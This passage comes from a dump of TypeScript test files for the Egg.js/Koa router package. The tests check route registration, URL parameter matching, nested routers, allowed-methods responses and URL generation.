expect(router.stack[4].name).toBe('other');\n    expect(router.stack[4].path).toBe('/other2');\n    expect(router.stack[4].methods).toEqual(['PUT']);\n    expect(router.stack[4].stack.length).toBe(1);\n  });\n\n  it('should app.verb(urlRegex, controllerString) work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    router.get(/^\\/foo/, 'foo');\n    router.post(/^\\/hello\\/world/, 'hello.world');\n    router.post(/^\\/hello\\/world2/, () => {}, 'hello.world');\n\n    expect(router.stack[0].name).toBe('foo');\n    expect(router.stack[0].path instanceof RegExp).toBe(true);\n    expect(router.stack[0].path.toString()).toBe(String(/^\\/foo/));\n    expect(router.stack[0].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[0].stack.length).toBe(1);\n    expect(router.stack[1].name).toBe('hello.world');\n    expect(router.stack[1].path instanceof RegExp).toBe(true);\n    expect(router.stack[1].path.toString()).toBe(String(/^\\/hello\\/world/));\n    expect(router.stack[1].methods).toEqual(['POST']);\n    expect(router.stack[1].stack.length).toBe(1);\n\n    expect(router.stack[2].name).toBe(undefined);\n    expect(router.stack[2].path instanceof RegExp).toBe(true);\n    expect(router.stack[2].path.toString()).toBe(String(/^\\/hello\\/world2/));\n    expect(router.stack[2].methods).toEqual(['POST']);\n    expect(router.stack[2].stack.length).toBe(2);\n  });\n\n  it('should app.verb() throw if not found controller', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    expect(() => {\n      router.get('foo', '/foo', 'foobar');\n    }).toThrow(/app.controller.foobar not exists/);\n\n    expect(() => {\n      router.get('/foo', (app as any).bar);\n    }).toThrow(/controller not exists/);\n  });\n\n  it('should app.verb(name, url, [middlewares], controllerString) work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const asyncMiddleware1 = async function () {\n      return;\n    };\n    const asyncMiddleware = async function () {\n      return;\n    };\n    const commonMiddleware = function () {};\n\n    const router = new EggRouter({}, app);\n    router.get('foo', '/foo', asyncMiddleware1, asyncMiddleware, commonMiddleware, 'foo');\n    router.post('hello', '/hello/world', asyncMiddleware1, asyncMiddleware, commonMiddleware, 'hello.world');\n    router.get('foo', '/foo', asyncMiddleware1, asyncMiddleware, commonMiddleware, 'foo');\n    router.post('hello', '/hello/world', asyncMiddleware1, asyncMiddleware, commonMiddleware, 'hello.world');\n\n    expect(router.stack[0].name).toBe('foo');\n    expect(router.stack[0].path).toBe('/foo');\n    expect(router.stack[0].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[0].stack.length).toBe(4);\n    expect(is.generatorFunction(router.stack[0].stack[0])).toBe(false);\n    expect(is.asyncFunction(router.stack[0].stack[1])).toBe(true);\n    expect(is.generatorFunction(router.stack[0].stack[3])).toBe(false);\n    expect(router.stack[1].name).toBe('hello');\n    expect(router.stack[1].path).toBe('/hello/world');\n    expect(router.stack[1].methods).toEqual(['POST']);\n    expect(router.stack[1].stack.length).toBe(4);\n    expect(is.generatorFunction(router.stack[1].stack[0])).toBe(false);\n    expect(is.asyncFunction(router.stack[1].stack[1])).toBe(true);\n    expect(is.generatorFunction(router.stack[1].stack[3])).toBe(false);\n  });\n\n  it('should app.resource() work', () => {\n    const app = {\n      controller: {\n        post: {\n          async index() {\n            return;\n          },\n          async show() {\n            return;\n          },\n          async create() {\n            return;\n          },\n          async update() {\n            return;\n          },\n          async new() {\n            return;\n          },\n        },\n      },\n    };\n\n    const asyncMiddleware = async function () {\n      return;\n    };\n\n    const router = new EggRouter({}, app);\n    router.resources('/post', asyncMiddleware, app.controller.post);\n    expect(router.stack.length).toBe(5);\n    expect(router.stack[0].stack.length).toBe(2);\n\n    router.resources('api_post', '/api/post', app.controller.post);\n    expect(router.stack.length).toBe(10);\n    expect(router.stack[5].stack.length).toBe(1);\n    expect(router.stack[5].name).toBe('api_posts');\n  });\n\n  it('should app.resources() with multiple middlewares work', () => {\n    const app = {\n      controller: {\n        post: {\n          async index() {\n            return;\n          },\n          async show() {\n            return;\n          },\n          async create() {\n            return;\n          },\n          async update() {\n            return;\n          },\n          async new() {\n            return;\n          },\n        },\n      },\n    };\n\n    const asyncMiddleware1 = async function () {\n      return;\n    };\n    const asyncMiddleware2 = async function () {\n      return;\n    };\n\n    const router = new EggRouter({}, app);\n    router.resources('/post', asyncMiddleware1, asyncMiddleware2, app.controller.post);\n    expect(router.stack.length).toBe(5);\n    expect(router.stack[0].stack.length).toBe(3);\n\n    router.resources('api_post', '/api/post', asyncMiddleware1, asyncMiddleware2, app.controller.post);\n    expect(router.stack.length).toBe(10);\n    expect(router.stack[5].stack.length).toBe(3);\n    expect(router.stack[5].name).toBe('api_posts');\n  });\n\n  it('should router.url work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n    const router = new EggRouter({}, app);\n    router.get('post', '/post/:id', app.controller.foo);\n    router.get('hello', '/hello/world', app.controller.hello.world);\n\n    expect(router.url('post', { id: 1, foo: [1, 2], bar: 'bar' })).toBe('/post/1?foo=1&foo=2&bar=bar');\n    expect(router.url('post', { foo: [1, 2], bar: 'bar' })).toBe('/post/:id?foo=1&foo=2&bar=bar');\n    expect(router.url('fooo')).toBe('');\n    expect(router.url('hello')).toBe('/hello/world');\n\n    expect(router.pathFor('post', { id: 1, foo: [1, 2], bar: 'bar' })).toBe('/post/1?foo=1&foo=2&bar=bar');\n    expect(router.pathFor('fooo')).toBe('');\n    expect(router.pathFor('hello')).toBe('/hello/world');\n  });\n});\n"
  },
  {
    "path": "packages/router/test/Layer.test.ts",
    "content": "import { Application } from '@eggjs/koa';\nimport request from '@eggjs/supertest';\nimport { describe, it, expect } from 'vitest';\n\nimport { Layer } from '../src/Layer.ts';\nimport { Router } from '../src/Router.ts';\n\ndescribe('test/Layer.test.ts', () => {\n  it('composes multiple callbacks/middleware', async () => {\n    const app = new Application();\n    const router = new Router();\n    app.use(router.routes());\n    router.get(\n      '/:category/:title',\n      (ctx, next) => {\n        ctx.status = 500;\n        return next();\n      },\n      (ctx, next) => {\n        ctx.status = 204;\n        return next();\n      },\n    );\n    await request(app.callback()).get('/programming/how-to-node').expect(204);\n  });\n\n  describe('Layer#match()', () => {\n    it('captures URL path parameters', async () => {\n      const app = new Application();\n      const router = new Router();\n      app.use(router.routes());\n      router.get('/:category/:title', (ctx) => {\n        expect(ctx.params).toBeDefined();\n        expect(ctx.params.category).toBe('match');\n        expect(ctx.params.title).toBe('this');\n        ctx.status = 204;\n      });\n      await request(app.callback()).get('/match/this').expect(204);\n    });\n\n    it('return original path parameters when decodeURIComponent throw error', async () => {\n      const app = new Application();\n      const router = new Router();\n      app.use(router.routes());\n      router.get('/:category/:title', (ctx) => {\n        expect(ctx.params).toBeDefined();\n        expect(ctx.params.category).toBe('100%');\n        expect(ctx.params.title).toBe('101%');\n        ctx.status = 204;\n      });\n      await request(app.callback()).get('/100%/101%').expect(204);\n    });\n\n    it('populates ctx.captures with regexp captures', async () => {\n      const app = new Application();\n      const router = new Router();\n      app.use(router.routes());\n      router.get(\n        /^\\/api\\/([^/]+)\\/?/i,\n        (ctx, next) => {\n          expect(ctx.captures).toBeDefined();\n          expect(Array.isArray(ctx.captures)).toBe(true);\n          expect(ctx.captures.length).toBe(1);\n          expect(ctx.captures[0]).toBe('1');\n          return next();\n        },\n        (ctx) => {\n          expect(ctx.captures).toBeDefined();\n          expect(Array.isArray(ctx.captures)).toBe(true);\n          expect(ctx.captures.length).toBe(1);\n          expect(ctx.captures[0]).toBe('1');\n          ctx.status = 204;\n        },\n      );\n      await request(app.callback()).get('/api/1').expect(204);\n    });\n\n    it('return original ctx.captures when decodeURIComponent throw error', async () => {\n      const app = new Application();\n      const router = new Router();\n      app.use(router.routes());\n      router.get(\n        /^\\/api\\/([^/]+)\\/?/i,\n        (ctx, next) => {\n          expect(Array.isArray(ctx.captures)).toBe(true);\n          expect(ctx.captures.length).toBe(1);\n          expect(ctx.captures[0]).toBe('101%');\n          return next();\n        },\n        function (ctx) {\n          expect(Array.isArray(ctx.captures)).toBe(true);\n          expect(ctx.captures.length).toBe(1);\n          expect(ctx.captures[0]).toBe('101%');\n          ctx.status = 204;\n        },\n      );\n      await request(app.callback()).get('/api/101%').expect(204);\n    });\n\n    it('populates ctx.captures with regexp captures include undefined', async () => {\n      const app = new Application();\n      const router = new Router();\n      app.use(router.routes());\n      router.get(\n        /^\\/api(\\/.+)?/i,\n        function (ctx, next) {\n          expect(Array.isArray(ctx.captures)).toBe(true);\n          expect(ctx.captures.length).toBe(1);\n          expect(ctx.captures[0]).toBe(undefined);\n          return next();\n        },\n        function (ctx) {\n          expect(Array.isArray(ctx.captures)).toBe(true);\n          expect(ctx.captures.length).toBe(1);\n          expect(ctx.captures[0]).toBe(undefined);\n          ctx.status = 204;\n        },\n      );\n      await request(app.callback()).get('/api').expect(204);\n    });\n\n    it('should throw friendly error message when handle not exists', () => {\n      const app = new Application();\n      const router = new Router();\n      app.use(router.routes());\n      const notExistsHandle = undefined;\n\n      expect(() => {\n        router.get('/foo', notExistsHandle as any);\n      }).toThrow(/get `\\/foo`: `middleware` must be a function, not `undefined`/);\n\n      expect(() => {\n        router.get('foo router', '/foo', notExistsHandle as any);\n      }).toThrow(/get `foo router`: `middleware` must be a function, not `undefined`/);\n\n      expect(() => {\n        router.post('/foo', function () {}, notExistsHandle as any);\n      }).toThrow(/post `\\/foo`: `middleware` must be a function, not `undefined`/);\n    });\n  });\n\n  describe('Layer#param()', () => {\n    it('composes middleware for param fn', async () => {\n      const app = new Application();\n      const router = new Router();\n      const route = new Layer(\n        '/users/:user',\n        ['GET'],\n        [\n          function (ctx) {\n            ctx.body = ctx.user;\n          },\n        ],\n      );\n      route.param('user', (id, ctx, next) => {\n        ctx.user = { name: 'alex' };\n        if (!id) {\n          ctx.status = 404;\n          return;\n        }\n        return next();\n      });\n      router.stack.push(route);\n      app.use(router.middleware());\n      const res = await request(app.callback()).get('/users/3').expect(200);\n      expect(res.body.name).toBe('alex');\n    });\n\n    it('ignores params which are not matched', async () => {\n      const app = new Application();\n      const router = new Router();\n      const route = new Layer(\n        '/users/:user',\n        ['GET'],\n        [\n          (ctx) => {\n            ctx.body = ctx.user;\n          },\n        ],\n      );\n      route.param('user', function (id, ctx, next) {\n        ctx.user = { name: 'alex' };\n        if (!id) {\n          ctx.status = 404;\n          return;\n        }\n        return next();\n      });\n      route.param('title', function (id, ctx, next) {\n        ctx.user = { name: 'mark' };\n        if (!id) {\n          ctx.status = 404;\n          return;\n        }\n        return next();\n      });\n      router.stack.push(route);\n      app.use(router.middleware());\n      const res = await request(app.callback()).get('/users/3').expect(200);\n      expect(res.body.name).toBe('alex');\n    });\n  });\n\n  describe('Layer#url()', () => {\n    it('generates route URL', () => {\n      const route = new Layer('/:category/:title', ['get'], [function () {}], 'books');\n      const url1 = route.url({ category: 'programming', title: 'how-to-node' });\n      expect(url1).toBe('/programming/how-to-node');\n      const url2 = route.url('programming', 'how-to-node');\n      expect(url2).toBe('/programming/how-to-node');\n    });\n\n    it('escapes using encodeURIComponent()', () => {\n      const route = new Layer('/:category/:title', ['get'], [() => {}], 'books');\n      const url = route.url({ category: 'programming', title: 'how to node' });\n      expect(url).toBe('/programming/how%20to%20node');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/router/test/Router.test.ts",
    "content": "import fs from 'node:fs';\n\nimport { Application as Koa } from '@eggjs/koa';\nimport request from '@eggjs/supertest';\nimport methods from 'methods';\nimport { describe, it, expect, beforeAll, beforeEach } from 'vitest';\n\nimport Router from '../src/index.ts';\nimport type { Next } from '../src/types.ts';\n\ndescribe('test/lib/router.test.js', () => {\n  it('creates new router', () => {\n    const router = new Router();\n    expect(router instanceof Router).toBe(true);\n  });\n\n  it('shares context between routers (gh-205)', async () => {\n    const app = new Koa();\n    const router1 = new Router();\n    const router2 = new Router();\n    router1.get('/', function (ctx, next) {\n      ctx.foo = 'bar';\n      return next();\n    });\n    router2.get('/', function (ctx, next) {\n      ctx.baz = 'qux';\n      ctx.body = { foo: ctx.foo };\n      return next();\n    });\n    app.use(router1.routes()).use(router2.routes());\n    const res = await request(app.callback()).get('/').expect(200);\n    expect(res.body.foo).toBe('bar');\n  });\n\n  it('does not register middleware more than once (gh-184)', async () => {\n    const app = new Koa();\n    const parentRouter = new Router();\n    const nestedRouter = new Router();\n\n    nestedRouter\n      .get('/first-nested-route', function (ctx) {\n        ctx.body = { n: ctx.n };\n      })\n      .get('/second-nested-route', function (_ctx, next) {\n        return next();\n      })\n      .get('/third-nested-route', function (_ctx, next) {\n        return next();\n      });\n\n    parentRouter.use(\n      '/parent-route',\n      function (ctx, next) {\n        ctx.n = ctx.n ? ctx.n + 1 : 1;\n        return next();\n      },\n      nestedRouter.routes(),\n    );\n\n    app.use(parentRouter.routes());\n\n    const res = await request(app.callback()).get('/parent-route/first-nested-route').expect(200);\n    expect(res.body.n).toBe(1);\n  });\n\n  it('router can be access with ctx', async () => {\n    const app = new Koa();\n    const router = new Router();\n    router.get('home', '/', function (ctx) {\n      ctx.body = {\n        url: ctx.router.url('home'),\n      };\n    });\n    app.use(router.routes());\n    const res = await request(app.callback()).get('/').expect(200);\n    expect(res.body.url).toBe('/');\n  });\n\n  it('registers multiple middleware for one route', async () => {\n    const app = new Koa();\n    const router = new Router();\n\n    router.get(\n      '/double',\n      function (ctx, next) {\n        return new Promise(function (resolve) {\n          setTimeout(function () {\n            ctx.body = { message: 'Hello' };\n            resolve(next());\n          }, 1);\n        });\n      },\n      function (ctx, next) {\n        return new Promise(function (resolve) {\n          setTimeout(function () {\n            ctx.body.message += ' World';\n            resolve(next());\n          }, 1);\n        });\n      },\n      function (ctx) {\n        ctx.body.message += '!';\n      },\n    );\n\n    app.use(router.routes());\n\n    const res = await request(app.callback()).get('/double').expect(200);\n    expect(res.body.message).toBe('Hello World!');\n  });\n\n  it('does not break when nested-routes use regexp paths', () => {\n    const app = new Koa();\n    const parentRouter = new Router();\n    const nestedRouter = new Router();\n\n    nestedRouter\n      .get(/^\\/\\w$/i, function (_ctx, next) {\n        return next();\n      })\n      .get('/first-nested-route', function (_ctx, next) {\n        return next();\n      })\n      .get('/second-nested-route', function (_ctx, next) {\n        return next();\n      });\n\n    parentRouter.use(\n      '/parent-route',\n      function (_ctx, next) {\n        return next();\n      },\n      nestedRouter.routes(),\n    );\n\n    app.use(parentRouter.routes());\n    expect(app).toBeDefined();\n  });\n\n  it('exposes middleware factory', () => {\n    const router = new Router();\n    expect(typeof router.routes).toBe('function');\n    const middleware = router.routes();\n    expect(typeof middleware).toBe('function');\n  });\n\n  it('supports promises for async/await', async () => {\n    const app = new Koa();\n    const router = new Router();\n    router.get('/async', function (ctx) {\n      return new Promise(function (resolve) {\n        setTimeout(function () {\n          ctx.body = {\n            msg: 'promises!',\n          };\n          resolve();\n        }, 1);\n      });\n    });\n\n    app.use(router.routes()).use(router.allowedMethods());\n    const res = await request(app.callback()).get('/async').expect(200);\n    expect(res.body.msg).toBe('promises!');\n  });\n\n  it('matches middleware only if route was matched (gh-182)', async () => {\n    const app = new Koa();\n    const router = new Router();\n    const otherRouter = new Router();\n\n    router.use(function (ctx, next) {\n      ctx.body = { bar: 'baz' };\n      return next();\n    });\n\n    otherRouter.get('/bar', function (ctx) {\n      ctx.body = ctx.body || { foo: 'bar' };\n    });\n\n    app.use(router.routes()).use(otherRouter.routes());\n\n    const res = await request(app.callback()).get('/bar').expect(200);\n    expect(res.body.foo).toBe('bar');\n    expect(res.body.bar).toBeUndefined();\n  });\n\n  it('matches first to last', async () => {\n    const app = new Koa();\n    const router = new Router();\n\n    router\n      .get('user_page', '/user/(.*).jsx', function (ctx) {\n        ctx.body = { order: 1 };\n      })\n      .all('app', '/app/(.*).jsx', function (ctx) {\n        ctx.body = { order: 2 };\n      })\n      .all('view', '(.*).jsx', function (ctx) {\n        ctx.body = { order: 3 };\n      });\n\n    const res = await request(app.use(router.routes()).callback()).get('/user/account.jsx').expect(200);\n    expect(res.body.order).toBe(1);\n  });\n\n  it('does not run subsequent middleware without calling next', async () => {\n    const app = new Koa();\n    const router = new Router();\n\n    router.get(\n      'user_page',\n      '/user/(.*).jsx',\n      function () {\n        // no next()\n      },\n      function (ctx) {\n        ctx.body = { order: 1 };\n      },\n    );\n\n    await request(app.use(router.routes()).callback()).get('/user/account.jsx').expect(404);\n  });\n\n  it('nests routers with prefixes at root', async () => {\n    const app = new Koa();\n    const forums = new Router({\n      prefix: '/forums',\n    });\n    const posts = new Router({\n      prefix: '/:fid/posts',\n    });\n\n    posts\n      .get('/', function (ctx, next) {\n        ctx.status = 204;\n        return next();\n      })\n      .get('/:pid', function (ctx, next) {\n        ctx.body = ctx.params;\n        return next();\n      });\n\n    forums.use(posts.routes());\n\n    const server = app.use(forums.routes()).callback();\n\n    await request(server).get('/forums/1/posts').expect(204);\n    await request(server).get('/forums/1').expect(404);\n    const res = await request(server).get('/forums/1/posts/2').expect(200);\n    expect(res.body.fid).toBe('1');\n    expect(res.body.pid).toBe('2');\n  });\n\n  it('nests routers with prefixes at path', async () => {\n    const app = new Koa();\n    const forums = new Router({\n      prefix: '/api',\n    });\n    const posts = new Router({\n      prefix: '/posts',\n    });\n\n    posts\n      .get('/', function (ctx, next) {\n        ctx.status = 204;\n        return next();\n      })\n      .get('/:pid', function (ctx, next) {\n        ctx.body = ctx.params;\n        return next();\n      });\n\n    forums.use('/forums/:fid', posts.routes());\n\n    const server = app.use(forums.routes()).callback();\n\n    await request(server).get('/api/forums/1/posts').expect(204);\n\n    await request(server).get('/api/forums/1').expect(404);\n\n    const res = await request(server).get('/api/forums/1/posts/2').expect(200);\n    expect(res.body.fid).toBe('1');\n    expect(res.body.pid).toBe('2');\n  });\n\n  it('runs subrouter middleware after parent', async () => {\n    const app = new Koa();\n    const subrouter = new Router()\n      .use(function (ctx, next) {\n        ctx.msg = 'subrouter';\n        return next();\n      })\n      .get('/', function (ctx) {\n        ctx.body = { msg: ctx.msg };\n      });\n    const router = new Router()\n      .use(function (ctx, next) {\n        ctx.msg = 'router';\n        return next();\n      })\n      .use(subrouter.routes());\n    const res = await request(app.use(router.routes()).callback()).get('/').expect(200);\n    expect(res.body.msg).toBe('subrouter');\n  });\n\n  it('runs parent middleware for subrouter routes', async () => {\n    const app = new Koa();\n    const subrouter = new Router().get('/sub', function (ctx) {\n      ctx.body = { msg: ctx.msg };\n    });\n    const router = new Router()\n      .use(function (ctx, next) {\n        ctx.msg = 'router';\n        return next();\n      })\n      .use('/parent', subrouter.routes());\n    const res = await request(app.use(router.routes()).callback()).get('/parent/sub').expect(200);\n    expect(res.body.msg).toBe('router');\n  });\n\n  it('matches corresponding requests', async () => {\n    const app = new Koa();\n    const router = new Router();\n    app.use(router.routes());\n    router.get('/:category/:title', function (ctx) {\n      expect(ctx.params.category).toBe('programming');\n      expect(ctx.params.title).toBe('how-to-node');\n      ctx.status = 204;\n    });\n    router.post('/:category', function (ctx) {\n      expect(ctx.params.category).toBe('programming');\n      ctx.status = 204;\n    });\n    router.put('/:category/not-a-title', function (ctx) {\n      expect(ctx.params.category).toBe('programming');\n      expect(ctx.params.title).toBeUndefined();\n      ctx.status = 204;\n    });\n    const server = app.callback();\n    await request(server).get('/programming/how-to-node').expect(204);\n    await request(server).post('/programming').expect(204);\n    await request(server).put('/programming/not-a-title').expect(204);\n  });\n\n  it('executes route middleware using `app.context`', async () => {\n    const app = new Koa();\n    const router = new Router();\n    app.use(router.routes());\n    router.use(function (ctx, next) {\n      ctx.bar = 'baz';\n      return next();\n    });\n    router.get(\n      '/:category/:title',\n      function (ctx, next) {\n        ctx.foo = 'bar';\n        return next();\n      },\n      function (ctx) {\n        ctx.body = {\n          bar: ctx.bar,\n          foo: ctx.foo,\n        };\n      },\n    );\n    const res = await request(app.callback()).get('/match/this').expect(200);\n    expect(res.body.bar).toBe('baz');\n    expect(res.body.foo).toBe('bar');\n  });\n\n  it('does not match after ctx.throw()', async () => {\n    const app = new Koa();\n    let counter = 0;\n    const router = new Router();\n    app.use(router.routes());\n    router.get('/', function (ctx) {\n      counter++;\n      ctx.throw(403);\n    });\n    router.get('/', function () {\n      counter++;\n    });\n    await request(app.callback()).get('/').expect(403);\n    expect(counter).toBe(1);\n  });\n\n  it('supports promises for route middleware', async () => {\n    const app = new Koa();\n    const router = new Router();\n    app.use(router.routes());\n    const readVersion = function () {\n      return new Promise(function (resolve, reject) {\n        fs.readFile('package.json', 'utf8', function (err, data) {\n          if (err) return reject(err);\n          resolve(JSON.parse(data).version);\n        });\n      });\n    };\n    router.get(\n      '/',\n      function (_ctx, next) {\n        return next();\n      },\n      function (ctx) {\n        return readVersion().then(function () {\n          ctx.status = 204;\n        });\n      },\n    );\n    await request(app.callback()).get('/').expect(204);\n  });\n\n  describe('Router#allowedMethods()', () => {\n    it('responds to OPTIONS requests', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      app.use(router.allowedMethods());\n      router.get('/users', function () {});\n      router.put('/users', function () {});\n      const res = await request(app.callback()).options('/users').expect(200);\n      expect(res.headers['content-length']).toBe('0');\n      expect(res.headers.allow).toBe('HEAD, GET, PUT');\n    });\n\n    it('responds with 405 Method Not Allowed', async () => {\n      const app = new Koa();\n      const router = new Router();\n      router.get('/users', function () {});\n      router.put('/users', function () {});\n      router.post('/events', function () {});\n      app.use(router.routes());\n      app.use(router.allowedMethods());\n      const res = await request(app.callback()).post('/users').expect(405);\n      expect(res.headers.allow).toBe('HEAD, GET, PUT');\n    });\n\n    it('responds ignore allowedMethods when status is already set', async () => {\n      const app = new Koa();\n      const router = new Router();\n      router.get('/users', function () {});\n      router.put('/users', function () {});\n      router.post('/events', function () {});\n      app.use((ctx, next) => {\n        ctx.status = 200;\n        next();\n      });\n      app.use(router.routes());\n      app.use(router.allowedMethods());\n      const res = await request(app.callback()).post('/users').expect(200);\n      expect(res.headers.allow).toBeUndefined();\n    });\n\n    it('responds with 405 Method Not Allowed using the \"throw\" option', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      app.use(function (ctx, next) {\n        return next().catch(function (err) {\n          // assert that the correct HTTPError was thrown\n          // err.name.should.equal('MethodNotAllowedError');\n          // err.statusCode.should.equal(405);\n\n          // translate the HTTPError to a normal response\n          ctx.body = err.name;\n          ctx.status = err.statusCode;\n        });\n      });\n      app.use(router.allowedMethods({ throw: true }));\n      router.get('/users', function () {});\n      router.put('/users', function () {});\n      router.post('/events', function () {});\n      const res = await request(app.callback()).post('/users').expect(405);\n      // the 'Allow' header is not set when throwing\n      expect(res.headers.allow).toBeUndefined();\n    });\n\n    it('responds with user-provided throwable using the \"throw\" and \"methodNotAllowed\" options', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      app.use(function (ctx, next) {\n        return next().catch(function (err) {\n          // assert that the correct HTTPError was thrown\n          // err.message.should.equal('Custom Not Allowed Error');\n          // err.statusCode.should.equal(405);\n\n          // translate the HTTPError to a normal response\n          ctx.body = err.body;\n          ctx.status = err.statusCode;\n        });\n      });\n      app.use(\n        router.allowedMethods({\n          throw: true,\n          methodNotAllowed() {\n            const notAllowedErr: any = new Error('Custom Not Allowed Error');\n            notAllowedErr.type = 'custom';\n            notAllowedErr.statusCode = 405;\n            notAllowedErr.body = {\n              error: 'Custom Not Allowed Error',\n              statusCode: 405,\n              otherStuff: true,\n            };\n            return notAllowedErr;\n          },\n        }),\n      );\n      router.get('/users', function () {});\n      router.put('/users', function () {});\n      router.post('/events', function () {});\n      const res = await request(app.callback()).post('/users').expect(405);\n      // the 'Allow' header is not set when throwing\n      expect(res.headers.allow).toBeUndefined();\n      expect(res.body).toEqual({\n        error: 'Custom Not Allowed Error',\n        statusCode: 405,\n        otherStuff: true,\n      });\n    });\n\n    it('responds with 501 Not Implemented', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      app.use(router.allowedMethods());\n      router.get('/users', function () {});\n      router.put('/users', function () {});\n      // await request(app.callback()).search('/users').expect(501);\n      // @ts-expect-error protected method\n      await request(app.callback())._testRequest('search', '/users').expect(501);\n    });\n\n    it('responds with 501 Not Implemented using the \"throw\" option', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      app.use(function (ctx, next) {\n        return next().catch(function (err) {\n          // assert that the correct HTTPError was thrown\n          // err.name.should.equal('NotImplementedError');\n          // err.statusCode.should.equal(501);\n\n          // translate the HTTPError to a normal response\n          ctx.body = err.name;\n          ctx.status = err.statusCode;\n        });\n      });\n      app.use(router.allowedMethods({ throw: true }));\n      router.get('/users', function () {});\n      router.put('/users', function () {});\n      // @ts-expect-error protected method\n      const res = await request(app.callback())._testRequest('search', '/users').expect(501);\n      // the 'Allow' header is not set when throwing\n      expect(res.headers.allow).toBeUndefined();\n    });\n\n    it('responds with user-provided throwable using the \"throw\" and \"notImplemented\" options', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      app.use(function (ctx, next) {\n        return next().catch(function (err) {\n          // assert that our custom error was thrown\n          // err.message.should.equal('Custom Not Implemented Error');\n          // err.type.should.equal('custom');\n          // err.statusCode.should.equal(501);\n\n          // translate the HTTPError to a normal response\n          ctx.body = err.body;\n          ctx.status = err.statusCode;\n        });\n      });\n      app.use(\n        router.allowedMethods({\n          throw: true,\n          notImplemented() {\n            const notImplementedErr: any = new Error('Custom Not Implemented Error');\n            notImplementedErr.type = 'custom';\n            notImplementedErr.statusCode = 501;\n            notImplementedErr.body = {\n              error: 'Custom Not Implemented Error',\n              statusCode: 501,\n              otherStuff: true,\n            };\n            return notImplementedErr;\n          },\n        }),\n      );\n      router.get('/users', function () {});\n      router.put('/users', function () {});\n      // @ts-expect-error protected method\n      const res = await request(app.callback())._testRequest('search', '/users').expect(501);\n      // the 'Allow' header is not set when throwing\n      expect(res.header.allow).toBeUndefined();\n      expect(res.body).toEqual({\n        error: 'Custom Not Implemented Error',\n        statusCode: 501,\n        otherStuff: true,\n      });\n    });\n\n    it('does not send 405 if route matched but status is 404', async () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      app.use(router.allowedMethods());\n      router.get('/users', function (ctx) {\n        ctx.status = 404;\n      });\n      await request(app.callback()).get('/users').expect(404);\n    });\n\n    it('sets the allowed methods to a single Allow header #273', async () => {\n      // https://tools.ietf.org/html/rfc7231#section-7.4.1\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      app.use(router.allowedMethods());\n\n      router.get('/', function () {});\n\n      const res = await request(app.callback()).options('/').expect(200);\n      expect(res.header.allow).toBe('HEAD, GET');\n    });\n  });\n\n  it('supports custom routing detect path: ctx.routerPath', async () => {\n    const app = new Koa();\n    const router = new Router();\n    app.use(function (ctx, next) {\n      // bind helloworld.example.com/users => example.com/helloworld/users\n      const appname = ctx.request.hostname.split('.', 1)[0];\n      ctx.routerPath = '/' + appname + ctx.path;\n      return next();\n    });\n    app.use(router.routes());\n    router.get('/helloworld/users', function (ctx) {\n      ctx.body = ctx.method + ' ' + ctx.url;\n    });\n\n    await request(app.callback()).get('/users').set('Host', 'helloworld.example.com').expect(200).expect('GET /users');\n  });\n\n  describe('Router#[verb]()', () => {\n    it('registers route specific to HTTP verb', () => {\n      const app = new Koa();\n      const router = new Router();\n      app.use(router.routes());\n      methods.forEach(function (method) {\n        expect(method in router).toBe(true);\n        expect(typeof Reflect.get(router, method) === 'function').toBe(true);\n        Reflect.get(router, method).call(router, '/', function () {});\n      });\n      expect(router.stack.length).toBe(methods.length);\n    });\n\n    it('registers route with a regexp path', () => {\n      const router = new Router();\n      methods.forEach(function (method) {\n        expect(Reflect.get(router, method).call(router, /^\\/\\w$/i, function () {})).toBe(router);\n      });\n    });\n\n    it('registers route with a given name', () => {\n      const router = new Router();\n      methods.forEach(function (method) {\n        expect(Reflect.get(router, method).call(router, '/', function () {})).toBe(router);\n      });\n    });\n\n    it('registers route with with a given name and regexp path', () => {\n      const router = new Router();\n      methods.forEach(function (method) {\n        expect(Reflect.get(router, method).call(router, /^\\/$/i, function () {})).toBe(router);\n      });\n    });\n\n    it('enables route chaining', () => {\n      const router = new Router();\n      methods.forEach(function (method) {\n        expect(Reflect.get(router, method.toLowerCase())).toBeDefined();\n        expect(Reflect.get(router, method.toLowerCase()).call(router, '/', function () {})).toBe(router);\n      });\n    });\n\n    it('registers array of paths (gh-203)', () => {\n      const router = new Router();\n      router.get(['/one', '/two'], function (_ctx, next) {\n        return next();\n      });\n      expect(router.stack.length).toBe(2);\n      expect(router.stack[0].path).toBe('/one');\n      expect(router.stack[1].path).toBe('/two');\n    });\n\n    it('resolves non-parameterized routes without attached parameters', async () => {\n      const app = new Koa();\n      const router = new Router();\n\n      router.get('/notparameter', function (ctx) {\n        ctx.body = {\n          param: ctx.params.parameter,\n          routerName: ctx.routerName,\n          routerPath: ctx.routerPath,\n        };\n      });\n\n      router.get('/:parameter', function (ctx) {\n        ctx.body = {\n          param: ctx.params.parameter,\n          routerName: ctx.routerName,\n          routerPath: ctx.routerPath,\n        };\n      });\n\n      app.use(router.routes());\n      const res = await request(app.callback()).get('/notparameter').expect(200);\n      expect(res.body.param).toBeUndefined();\n      expect(res.body.routerName).toBeUndefined();\n      expect(res.body.routerPath).toBe('/notparameter');\n    });\n  });\n\n  describe('Router#use()', () => {\n    it('uses router middleware without path', async () => {\n      const app = new Koa();\n      const router = new 